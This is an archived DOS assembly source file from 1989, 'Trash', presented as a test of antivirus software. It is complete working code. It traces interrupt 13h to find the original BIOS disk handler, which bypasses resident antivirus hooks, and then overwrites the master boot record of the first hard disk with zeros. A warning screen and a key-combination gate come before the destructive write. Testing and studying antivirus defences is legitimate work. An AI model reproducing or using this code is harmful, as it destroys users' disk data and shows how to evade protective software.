home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TRASH.ASM < prev    next >
Assembly Source File  |  1989-12-04  |  3KB  |  169 lines

  1.     page    ,132
  2.     title    Trash - smashes the boot record on the first hard disk
  3.     name    TRASH
  4.  
  5.     .radix    16
  6.  
  7. code    segment
  8.     assume    cs:code,ds:code
  9.  
  10.     org    100
  11.  
  12. CODEX    equ    0C000        ; Or use 0300 when tracing DOS
  13.  
  14. CR    equ    0Dh
  15. LF    equ    0A
  16.  
  17. start:
  18.     jmp    do_it
  19.  
  20. oldint1 dd    ?
  21. newintx dd    ?
  22. oldintx dd    ?
  23. trace    db    1
  24. found    db    0
  25. buffer    db    200 dup (0)
  26. message db    CR,LF,'**********  W A R N I N G ! ! !  **********',CR,LF,CR,LF
  27.     db    'This program, when run, will zero (DESTROY!) the',CR,LF
  28.     db    'master boot record of your first hard disk.',CR,LF,CR,LF
  29.     db    'The purpose of this is to test the antivirus software,',CR,LF
  30.     db    'so be sure you have installed your favourite',CR,LF
  31.     db    'protecting program before running this one!',CR,LF
  32.     db    "(It's almost sure it will fail to protect you anyway!)",CR,LF
  33.     db    CR,LF,'Press any key to abort, or',CR,LF
  34.     db    'press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $'
  35. warned    db    CR,LF,CR,LF,'Allright, you were warned!',CR,LF,'$'
  36.  
  37. do_it:
  38.     mov    ax,600        ; Clear the screen by scrolling it up
  39.     mov    bh,7
  40.     mov    dx,1950
  41.     xor    cx,cx
  42.     int    10
  43.  
  44.     mov    ah,0F        ; Get the current video mode
  45.     int    10        ;  (the video page, more exactly)
  46.  
  47.     mov    ah,2        ; Home the cursor
  48.     xor    dx,dx
  49.     int    10
  50.  
  51.     mov    ah,9        ; Print a warning message
  52.     mov    dx,offset message
  53.     int    21
  54.  
  55.     mov    ax,0C08     ; Flush the keyboard and get a char
  56.     int    21
  57.     cmp    al,0        ; Extendet ASCII?
  58.     jne    quit1        ; Exit if not
  59.     mov    ah,8        ; Get the key code
  60.     int    21
  61.     cmp    al,6C        ; Shift-F5?
  62.     jne    quit1        ; Exit if not
  63.     mov    ah,2        ; Get keyboard shift status
  64.     int    16
  65.     and    al,1101b    ; Ctrl-Alt-RightShift?
  66.     jnz    proceed     ; Proceed if so
  67. quit1:
  68.     jmp    quit        ; Otherwise exit
  69.  
  70. proceed:
  71.     mov    ah,9        ; Print the last message
  72.     mov    dx,offset warned
  73.     int    21
  74.  
  75.     mov    ax,3501     ; Get interrupt vector 1 (single steping)
  76.     int    21
  77.     mov    word ptr oldint1,bx
  78.     mov    word ptr oldint1+2,es
  79.  
  80.     mov    ax,2501     ; Set new INT 1 handler
  81.     mov    dx,offset newint1
  82.     int    21
  83.  
  84.     mov    ax,3513     ; Get interrupt vector 13
  85.     int    21
  86.     mov    word ptr oldintx,bx
  87.     mov    word ptr oldintx+2,es
  88.     mov    word ptr newintx,bx
  89.     mov    word ptr newintx+2,es
  90.  
  91. ; The following code is sacred in it's present form.
  92. ; To change it would cause volcanos to errupt,
  93. ; the ground to shake, and program not to run!
  94.  
  95.     mov    ax,200
  96.     push    ax
  97.     push    cs
  98.     mov    ax,offset done
  99.     push    ax
  100.     mov    ax,100
  101.     push    ax
  102.     push    cs
  103.     mov    ax,offset faddr
  104.     push    ax
  105.     mov    ah,55
  106.     iret
  107.  
  108.     assume    ds:nothing
  109.  
  110. faddr:
  111.     jmp    oldintx
  112.  
  113. newint1:
  114.     push    bp
  115.     mov    bp,sp
  116.     cmp    trace,0
  117.     jne    search
  118. exit:
  119.     and    [bp+6],not 100
  120. exit1:
  121.     pop    bp
  122.     iret
  123. search:
  124.     cmp    [bp+4],CODEX
  125.     jb    exit1
  126. ;Or use ja if you want to trace DOS-owned interrupt
  127.     push    ax
  128.     mov    ax,[bp+4]
  129.     mov    word ptr newintx+2,ax
  130.     mov    ax,[bp+2]
  131.     mov    word ptr newintx,ax
  132.     pop    ax
  133.     mov    found,1
  134.     mov    trace,0
  135.     jmp    exit
  136.  
  137.     assume    ds:code
  138. done:
  139.     mov    trace,0
  140.     push    ds
  141.     mov    ax,word ptr oldint1+2
  142.     mov    dx,word ptr oldint1
  143.     mov    ds,ax
  144.     mov    ax,2501     ; Restore old INT 1 handler
  145.     int    21
  146.     pop    ds
  147.  
  148. ; Code beyong this point is not sacred...
  149. ; It may be perverted in any manner by any pervert.
  150.  
  151.     cmp    found,1     ; See if original INT 13 handler found
  152.     jne    quit        ; Exit if not
  153.     push    ds
  154.     pop    es        ; Restore ES
  155.  
  156.     mov    ax,301        ; Write 1 sector
  157.     mov    cx,1        ; Cylinder 0, sector 1
  158.     mov    dx,80        ; Head 0, drive 80h
  159.     mov    bx,offset buffer
  160.     pushf            ; Simulate INT 13
  161.     call    newintx     ; Do it
  162.  
  163. quit:
  164.     mov    ax,4C00     ; Exit program
  165.     int    21
  166.  
  167. code    ends
  168.     end    start
  169.